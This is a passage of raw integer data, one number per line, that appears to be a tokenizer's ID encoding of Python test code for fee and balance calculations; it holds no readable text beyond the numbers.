29945,
29892,
29871,
29900,
29897,
964,
13,
1678,
1749,
8424,
3538,
5608,
740,
1434,
274,
20304,
599,
343,
1819,
304,
5225,
29889,
13,
1678,
13466,
591,
723,
925,
20064,
403,
1546,
313,
29900,
29892,
29871,
29945,
29897,
322,
313,
29896,
29900,
29900,
29892,
29871,
29900,
467,
13,
1678,
9995,
13,
1678,
20410,
353,
383,
3905,
4504,
11272,
2792,
29898,
13,
4706,
527,
5521,
749,
29918,
2238,
18745,
11759,
29898,
6066,
18087,
29898,
29900,
511,
383,
3905,
18087,
29898,
29900,
8243,
313,
6066,
18087,
29898,
29896,
29900,
29900,
511,
383,
3905,
18087,
29898,
29906,
29900,
876,
1402,
13,
4706,
12151,
29922,
29943,
3905,
18087,
29898,
29945,
511,
13,
1678,
1723,
13,
1678,
27684,
29918,
9891,
353,
383,
3905,
4504,
11272,
2792,
29889,
4210,
362,
29918,
1725,
29872,
29918,
9891,
29898,
13,
4706,
20410,
29918,
262,
29922,
29943,
3905,
4504,
11272,
2792,
3285,
13,
4706,
20410,
29918,
449,
29922,
816,
11272,
29892,
13,
4706,
17346,
29918,
262,
29922,
22031,
749,
29898,
29900,
511,
13,
4706,
17346,
29918,
449,
29922,
22031,
749,
29898,
29896,
29900,
29900,
511,
13,
4706,
2414,
440,
519,
29922,
6066,
18087,
29898,
29896,
29900,
29900,
511,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
29922,
15467,
358,
3047,
29943,
3905,
18087,
29898,
29945,
511,
13,
4706,
2117,
29918,
1725,
267,
29922,
5574,
29892,
13,
1678,
1723,
13,
1678,
4974,
27684,
29918,
9891,
29898,
29941,
29900,
29897,
1275,
29871,
29900,
29871,
396,
29871,
29945,
448,
29871,
29953,
29892,
274,
17280,
13,
1678,
4974,
27684,
29918,
9891,
29898,
29906,
29900,
29897,
1275,
29871,
29945,
448,
29871,
29946,
13,
13,
13,
1753,
1243,
29918,
1915,
3493,
7295,
13,
1678,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29900,
511,
25159,
18087,
29898,
29946,
511,
29871,
29945,
29897,
1275,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29962,
13,
1678,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29900,
511,
25159,
18087,
29898,
29946,
511,
29871,
29946,
29897,
1275,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29941,
29892,
29871,
29946,
29962,
13,
1678,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29900,
511,
25159,
18087,
29898,
29946,
511,
29871,
29941,
29897,
1275,
518,
29900,
29892,
29871,
29906,
29892,
29871,
29946,
29962,
13,
1678,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29900,
511,
25159,
18087,
29898,
29946,
511,
29871,
29906,
29897,
1275,
518,
29900,
29892,
29871,
29946,
29962,
13,
1678,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29900,
511,
25159,
18087,
29898,
29900,
511,
29871,
29941,
29897,
1275,
518,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29962,
13,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
14697,
291,
2392,
1125,
13,
4706,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29900,
511,
25159,
18087,
29898,
29946,
511,
29871,
29896,
29897,
13,
13,
1678,
411,
11451,
1688,
29889,
336,
4637,
29898,
14697,
291,
2392,
1125,
13,
4706,
4974,
6276,
3493,
29898,
6066,
18087,
29898,
29946,
511,
25159,
18087,
29898,
29900,
511,
29871,
29906,
29897,
13,
13,
13,
1753,
1243,
29918,
276,
5521,
19985,
29918,
1725,
29872,
29918,
15807,
362,
7295,
13,
1678,
4559,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29906,
29900,
29900,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29945,
29900,
29918,
29900,
29900,
29900,
876,
29871,
396,
29871,
29945,
29995,
13,
1678,
4974,
4559,
338,
451,
6213,
13,
1678,
4974,
7431,
29898,
11249,
29897,
1275,
28019,
29918,
23711,
22245,
29911,
3235,
8098,
29918,
29925,
6992,
9375,
13,
1678,
4974,
599,
29898,
29900,
5277,
921,
5277,
29871,
29906,
29900,
29900,
363,
921,
29892,
903,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29916,
363,
921,
29892,
903,
297,
4559,
29897,
1275,
29871,
29906,
29900,
29900,
13,
1678,
4974,
599,
29898,
29900,
5277,
343,
5277,
29871,
29896,
29900,
363,
17117,
343,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29891,
363,
17117,
343,
297,
4559,
29897,
1275,
29871,
29896,
29900,
29871,
396,
29871,
29945,
29995,
310,
278,
29871,
29906,
29900,
29900,
25159,
18087,
13284,
13,
13,
1678,
4559,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29896,
29900,
29900,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29906,
29900,
29918,
29900,
29900,
29900,
876,
29871,
396,
29871,
29906,
29995,
13,
1678,
4974,
4559,
338,
451,
6213,
13,
1678,
4974,
7431,
29898,
11249,
29897,
1275,
28019,
29918,
23711,
22245,
29911,
3235,
8098,
29918,
29925,
6992,
9375,
13,
1678,
4974,
599,
29898,
29900,
5277,
921,
5277,
29871,
29896,
29900,
29900,
363,
921,
29892,
903,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29916,
363,
921,
29892,
903,
297,
4559,
29897,
1275,
29871,
29896,
29900,
29900,
13,
1678,
4974,
599,
29898,
29900,
5277,
343,
5277,
29871,
29906,
363,
17117,
343,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29891,
363,
17117,
343,
297,
4559,
29897,
1275,
29871,
29906,
29871,
396,
29871,
29906,
29995,
310,
278,
29871,
29896,
29900,
29900,
25159,
18087,
13284,
13,
13,
1678,
4559,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29896,
29945,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29945,
29900,
29918,
29900,
29900,
29900,
876,
29871,
396,
29871,
29945,
29995,
13,
1678,
4974,
4559,
338,
451,
6213,
13,
1678,
4974,
7431,
29898,
11249,
29897,
1275,
29871,
29896,
29953,
13,
1678,
4974,
599,
29898,
29900,
5277,
921,
5277,
29871,
29896,
29953,
363,
921,
29892,
903,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29916,
363,
921,
29892,
903,
297,
4559,
29897,
1275,
29871,
29896,
29945,
13,
1678,
4974,
599,
29898,
29900,
5277,
343,
5277,
29871,
29896,
363,
17117,
343,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29891,
363,
17117,
343,
297,
4559,
29897,
1275,
29871,
29896,
29871,
396,
29871,
29945,
29995,
310,
278,
29871,
29945,
28240,
701,
13,
13,
1678,
396,
1243,
4513,
292,
310,
278,
4236,
29918,
5521,
749,
29918,
1725,
29872,
13944,
13,
1678,
4559,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29896,
29900,
29900,
29900,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29945,
29918,
29946,
29929,
29900,
876,
29871,
396,
29871,
29900,
29889,
29945,
29946,
29929,
29995,
13,
1678,
4974,
4559,
338,
451,
6213,
13,
1678,
4974,
7431,
29898,
11249,
29897,
1275,
28019,
29918,
23711,
22245,
29911,
3235,
8098,
29918,
29925,
6992,
9375,
13,
1678,
4974,
599,
29898,
29900,
5277,
921,
5277,
29871,
29896,
29900,
29900,
29900,
363,
921,
29892,
903,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29916,
363,
921,
29892,
903,
297,
4559,
29897,
1275,
29871,
29896,
29900,
29900,
29900,
13,
1678,
4974,
599,
29898,
29900,
5277,
343,
5277,
29871,
29945,
363,
17117,
343,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29891,
363,
17117,
343,
297,
4559,
29897,
1275,
29871,
29945,
29871,
396,
29871,
29945,
29889,
29946,
29929,
338,
28240,
304,
29871,
29945,
13,
13,
1678,
4559,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29896,
29900,
29900,
29900,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29945,
29918,
29945,
29900,
29900,
876,
29871,
396,
29871,
29900,
29889,
29945,
29945,
29995,
13,
1678,
4974,
4559,
338,
451,
6213,
13,
1678,
4974,
7431,
29898,
11249,
29897,
1275,
28019,
29918,
23711,
22245,
29911,
3235,
8098,
29918,
29925,
6992,
9375,
13,
1678,
4974,
599,
29898,
29900,
5277,
921,
5277,
29871,
29896,
29900,
29900,
29900,
363,
921,
29892,
903,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29916,
363,
921,
29892,
903,
297,
4559,
29897,
1275,
29871,
29896,
29900,
29900,
29900,
13,
1678,
4974,
599,
29898,
29900,
5277,
343,
5277,
29871,
29953,
363,
17117,
343,
297,
4559,
29897,
13,
1678,
4974,
4236,
29898,
29891,
363,
17117,
343,
297,
4559,
29897,
1275,
29871,
29953,
29871,
396,
29871,
29945,
29889,
29945,
338,
28240,
304,
29871,
29953,
13,
13,
1678,
396,
1243,
4251,
988,
694,
527,
5521,
749,
27684,
338,
2825,
13,
1678,
4974,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29900,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29896,
876,
338,
6213,
13,
1678,
4974,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
6066,
18087,
29898,
29896,
29900,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29900,
876,
338,
6213,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29898,
13,
1678,
376,
20620,
29918,
1725,
29872,
29892,
3107,
29918,
1725,
29872,
29892,
2847,
29918,
14506,
29892,
3806,
29918,
14506,
613,
13,
1678,
518,
13,
4706,
396,
8296,
12151,
27684,
13,
4706,
313,
29945,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
448,
29871,
29945,
29900,
448,
29871,
29945,
29900,
511,
13,
4706,
396,
29839,
27684,
13,
4706,
313,
29900,
29892,
29871,
29896,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29906,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
511,
29871,
396,
29871,
29896,
29900,
29900,
29995,
639,
8171,
1612,
11685,
27684,
13,
4706,
313,
29900,
29892,
29871,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
511,
29871,
396,
29871,
29896,
29900,
29995,
639,
8171,
1612,
11685,
27684,
13,
4706,
313,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29945,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
511,
29871,
396,
29871,
29945,
29995,
639,
8171,
1612,
11685,
27684,
13,
4706,
313,
29900,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29896,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
511,
29871,
396,
29871,
29896,
29995,
639,
8171,
1612,
11685,
27684,
13,
4706,
313,
29900,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29896,
29892,
29871,
29896,
29900,
29900,
511,
29871,
396,
29871,
29896,
29995,
639,
8171,
1612,
11685,
27684,
13,
4706,
313,
29900,
29892,
29871,
29946,
29918,
29929,
29929,
29900,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
511,
29871,
396,
29871,
29900,
29892,
29946,
29929,
29929,
29995,
639,
8171,
1612,
11685,
27684,
4947,
28240,
3448,
13,
4706,
396,
12849,
6987,
13,
4706,
313,
29896,
29892,
29871,
29945,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29945,
29900,
29900,
718,
29871,
29906,
29892,
29871,
29896,
29900,
29900,
29900,
511,
13,
4706,
313,
29896,
29900,
29892,
29871,
29945,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29945,
29900,
29900,
718,
29871,
29906,
29900,
29892,
29871,
29929,
29929,
29955,
511,
13,
4706,
313,
29896,
29900,
29900,
29892,
29871,
29945,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29945,
29900,
29900,
718,
29871,
29906,
29900,
29900,
29892,
29871,
29929,
29953,
29955,
511,
13,
4706,
396,
448,
13,
4706,
313,
29896,
29892,
29871,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29896,
29900,
29900,
718,
29871,
29906,
29892,
29871,
29896,
29900,
29900,
29900,
511,
13,
4706,
313,
29896,
29900,
29892,
29871,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29896,
29900,
29900,
718,
29871,
29906,
29900,
29892,
29871,
29929,
29929,
29929,
511,
13,
4706,
313,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29896,
29900,
29900,
718,
29871,
29906,
29900,
29900,
29892,
29871,
29929,
29929,
29896,
511,
13,
4706,
396,
448,
13,
4706,
313,
29896,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29896,
29900,
718,
29871,
29906,
29892,
29871,
29896,
29900,
29900,
29900,
511,
13,
4706,
313,
29896,
29900,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29896,
29900,
718,
29871,
29906,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
511,
13,
4706,
313,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29896,
29900,
718,
29871,
29906,
29900,
29900,
29892,
29871,
29929,
29929,
29929,
511,
13,
4706,
396,
448,
13,
4706,
313,
29896,
29900,
29900,
29892,
29871,
29945,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
718,
29871,
29955,
29945,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
511,
13,
4706,
396,
448,
1819,
1476,
297,
1065,
29918,
1688,
29918,
4210,
630,
29918,
3286,
571,
29918,
2541,
29918,
1725,
267,
13,
4706,
313,
29900,
29892,
29871,
29906,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29946,
29955,
718,
29871,
29929,
29892,
29871,
29946,
29955,
511,
13,
4706,
313,
29900,
29892,
29871,
29906,
29900,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29941,
29929,
718,
29871,
29947,
29892,
29871,
29941,
29929,
511,
13,
1678,
21251,
13,
29897,
13,
1753,
1243,
29918,
657,
29918,
908,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29898,
20620,
29918,
1725,
29872,
29892,
3107,
29918,
1725,
29872,
29892,
2847,
29918,
14506,
29892,
3806,
29918,
14506,
1125,
13,
1678,
9995,
24376,
1612,
11685,
27684,
21049,
428,
1213,
15945,
13,
1678,
3107,
29918,
1725,
29872,
29918,
546,
29918,
12719,
353,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29898,
1184,
637,
1848,
29943,
3905,
18087,
29898,
7728,
29918,
1725,
29872,
876,
13,
1678,
7714,
353,
1207,
29918,
8568,
29918,
2230,
29918,
908,
29918,
3859,
29898,
14506,
29922,
11228,
29918,
14506,
29897,
13,
1678,
8242,
29918,
262,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
6066,
18087,
29898,
29906,
29900,
29900,
29900,
8243,
13,
9651,
27684,
29918,
816,
11272,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
20620,
29922,
20620,
29918,
1725,
29872,
29892,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
511,
13,
4706,
1723,
13,
1678,
1723,
13,
1678,
8242,
29918,
449,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
6066,
18087,
29898,
29906,
29900,
29900,
29900,
8243,
13,
9651,
27684,
29918,
816,
11272,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
20620,
29922,
20620,
29918,
1725,
29872,
29892,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
511,
13,
4706,
1723,
13,
1678,
1723,
13,
13,
1678,
22822,
29918,
7045,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
29922,
908,
29889,
14506,
29892,
8242,
29918,
262,
29922,
12719,
29918,
262,
29892,
8242,
29918,
449,
29922,
12719,
29918,
449,
13,
1678,
1723,
13,
1678,
4974,
22822,
29918,
7045,
29918,
1725,
267,
1275,
3806,
29918,
14506,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29898,
13,
1678,
376,
5030,
29918,
1725,
267,
29892,
12151,
29918,
1725,
29872,
29892,
3107,
29918,
1725,
29872,
29892,
527,
5521,
749,
29918,
1725,
29872,
29892,
2847,
29918,
14506,
29892,
3806,
29918,
14506,
613,
13,
1678,
518,
13,
4706,
396,
1939,
274,
20304,
310,
278,
1612,
11685,
1238,
267,
13,
4706,
396,
450,
6133,
278,
527,
5521,
749,
27684,
29892,
278,
23505,
278,
10879,
310,
278,
27684,
12541,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
718,
29871,
29906,
29918,
29900,
29900,
29900,
511,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29906,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
718,
29871,
29941,
29918,
29929,
29929,
29945,
511,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29941,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
718,
29871,
29945,
29918,
29929,
29896,
29900,
511,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29946,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
718,
29871,
29955,
29918,
29953,
29896,
29941,
511,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
718,
29871,
29929,
29918,
29900,
29929,
29896,
511,
13,
4706,
396,
315,
20304,
310,
1612,
11685,
1238,
267,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29906,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29941,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29946,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
29892,
29871,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
21251,
13,
29897,
13,
1753,
1243,
29918,
657,
29918,
908,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29918,
326,
5521,
8362,
29918,
12719,
29898,
13,
1678,
2117,
29918,
1725,
267,
29892,
12151,
29918,
1725,
29872,
29892,
3107,
29918,
1725,
29872,
29892,
527,
5521,
749,
29918,
1725,
29872,
29892,
2847,
29918,
14506,
29892,
3806,
29918,
14506,
13,
1125,
13,
1678,
9995,
24376,
1612,
11685,
27684,
21049,
428,
1213,
15945,
13,
1678,
17346,
353,
25159,
18087,
29898,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29897,
13,
1678,
3107,
29918,
1725,
29872,
29918,
546,
29918,
12719,
353,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29898,
1184,
637,
1848,
29943,
3905,
18087,
29898,
7728,
29918,
1725,
29872,
876,
13,
1678,
527,
5521,
749,
29918,
1725,
29872,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
13,
4706,
8242,
29918,
5030,
5946,
29922,
5521,
749,
29892,
29839,
29918,
326,
5521,
749,
29918,
1725,
29872,
29922,
1184,
637,
1848,
29943,
3905,
18087,
29898,
326,
5521,
749,
29918,
1725,
29872,
29897,
13,
1678,
1723,
13,
1678,
7714,
353,
1207,
29918,
8568,
29918,
2230,
29918,
908,
29918,
3859,
29898,
14506,
29922,
11228,
29918,
14506,
29897,
13,
1678,
8242,
29918,
262,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
6066,
18087,
29898,
29900,
8243,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
511,
13,
9651,
27684,
29918,
816,
11272,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
13,
18884,
2117,
29918,
1725,
267,
29922,
5030,
29918,
1725,
267,
29892,
13,
18884,
12151,
29922,
29943,
3905,
18087,
29898,
20620,
29918,
1725,
29872,
511,
13,
18884,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29892,
13,
18884,
527,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
1725,
29872,
29892,
13,
9651,
10353,
13,
4706,
1723,
13,
1678,
1723,
13,
1678,
8242,
29918,
449,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
511,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
6066,
18087,
29898,
29900,
8243,
13,
9651,
27684,
29918,
816,
11272,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
13,
18884,
2117,
29918,
1725,
267,
29922,
5030,
29918,
1725,
267,
29892,
13,
18884,
12151,
29922,
29943,
3905,
18087,
29898,
20620,
29918,
1725,
29872,
511,
13,
18884,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29892,
13,
18884,
527,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
1725,
29872,
29892,
13,
9651,
10353,
13,
4706,
1723,
13,
1678,
1723,
13,
13,
1678,
22822,
29918,
7045,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
29922,
908,
29889,
14506,
29892,
8242,
29918,
262,
29922,
12719,
29918,
262,
29892,
8242,
29918,
449,
29922,
12719,
29918,
449,
13,
1678,
1723,
13,
1678,
4974,
22822,
29918,
7045,
29918,
1725,
267,
1275,
3806,
29918,
14506,
13,
13,
13,
29992,
29887,
5428,
29898,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29900,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29900,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29900,
29892,
4236,
29918,
1767,
29922,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29896,
29892,
4236,
29918,
1767,
29922,
29929,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29896,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29896,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
511,
13,
29897,
13,
29992,
11027,
29898,
19303,
1253,
29918,
354,
4298,
29918,
3198,
11759,
3868,
4298,
5596,
29889,
4572,
29918,
517,
29877,
29918,
29885,
987,
2314,
13,
1753,
1243,
29918,
1725,
29872,
29918,
14486,
29918,
3626,
29886,
29898,
20620,
29918,
1725,
29872,
29892,
3107,
29918,
1725,
29872,
29892,
527,
5521,
749,
29918,
1725,
29872,
29892,
5253,
29892,
17346,
29896,
29892,
17346,
29906,
1125,
13,
1678,
9995,
24376,
1612,
11685,
27684,
21049,
428,
29889,
13,
13,
1678,
3824,
591,
29915,
276,
2599,
263,
349,
9998,
29899,
4561,
13944,
2675,
28953,
515,
278,
3646,
13,
1678,
5253,
304,
679,
278,
5253,
393,
278,
14511,
1061,
756,
304,
3638,
29889,
1987,
591,
8147,
13,
1678,
278,
1238,
267,
515,
263,
14457,
1061,
29915,
29879,
1298,
310,
1776,
322,
1423,
565,
421,
14506,
29918,
2541,
29918,
1725,
267,
448,
13,
1678,
1238,
267,
353,
5253,
1412,
13,
1678,
9995,
13,
1678,
396,
10987,
6455,
988,
727,
338,
263,
15590,
8825,
310,
9269,
292,
13,
1678,
5253,
353,
938,
29898,
1195,
29898,
14506,
29892,
17346,
29896,
334,
29871,
29900,
29889,
29929,
29945,
448,
29871,
29896,
29892,
17346,
29906,
334,
29871,
29900,
29889,
29929,
29945,
448,
29871,
29896,
876,
13,
1678,
5251,
29898,
14506,
1405,
29871,
29900,
29897,
13,
13,
1678,
3001,
29918,
5521,
749,
353,
25159,
18087,
29898,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29897,
13,
1678,
3107,
29918,
1725,
29872,
29918,
546,
29918,
12719,
353,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29898,
1184,
637,
1848,
29943,
3905,
18087,
29898,
7728,
29918,
1725,
29872,
876,
13,
1678,
527,
5521,
749,
29918,
1725,
29872,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
13,
4706,
8242,
29918,
5030,
5946,
29922,
7827,
29918,
5521,
749,
29892,
13,
4706,
29839,
29918,
326,
5521,
749,
29918,
1725,
29872,
29922,
1184,
637,
1848,
29943,
3905,
18087,
29898,
326,
5521,
749,
29918,
1725,
29872,
511,
13,
1678,
1723,
13,
1678,
8242,
29918,
262,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
7827,
29918,
5521,
749,
448,
17346,
29896,
511,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
